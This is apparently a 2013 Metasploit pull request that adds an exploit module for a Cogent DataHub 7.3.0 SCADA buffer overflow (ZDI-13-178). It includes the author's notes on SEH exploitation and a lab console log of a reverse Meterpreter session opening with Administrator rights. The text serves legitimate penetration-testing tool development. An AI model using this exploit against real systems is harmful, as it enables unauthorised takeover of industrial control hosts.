rapid7/metasploit-framework — pull request #2236 by jvazquez-r7 (2013-08-16 23:17:47+00:00)
Title: Add module for ZDI-13-178

Tested successfully on Cogent DataHub 7.3.0 (Demo) on Windows XP SP3.

Because of stack cookies and safeseh looks difficult to write the exploits for other windows versions. Even when there are some safeseh=false modules, they are rebased, so don't look like a reliable option.

Anyway writing the module for Windows XP SP3 for coverage, and is scada related module, so I guess still could be useful in some case.

The pop#pop#ret pointer is stable over updates on Windows XP SP3 according to my testing, but would love to listen if it works for others too.

Finally, I don't know if the DEMO for 7.3.0 is available anymore on the Cogent HomePage. Let me know if you need the DEMO installer for 7.3.0 via email.

```
msf exploit(cogent_datahub_request_headers_bof) > check
[*] The target service is running, but could not be validated.
msf exploit(cogent_datahub_request_headers_bof) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] Trying target Windows XP SP3 English / Cogent DataHub 7.3.0...
[*] Sending request to 192.168.172.244:80
[*] Sending stage (751104 bytes) to 192.168.172.244
[*] Meterpreter session 3 opened (192.168.172.1:4444 -> 192.168.172.244:1027) at 2013-08-16 18:10:31 -0500

meterpreter > getuid
Server username: JUAN-C0DE875735\Administrator
meterpreter > sysingo
[-] Unknown command: sysingo.
meterpreter > pwd
C:\Program Files\Cogent\Cogent DataHub
meterpreter > sysinfo
Computer : JUAN-C0DE875735
OS : Windows XP (Build 2600, Service Pack 3).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.172.244 - Meterpreter session 3 closed. Reason: User exit

```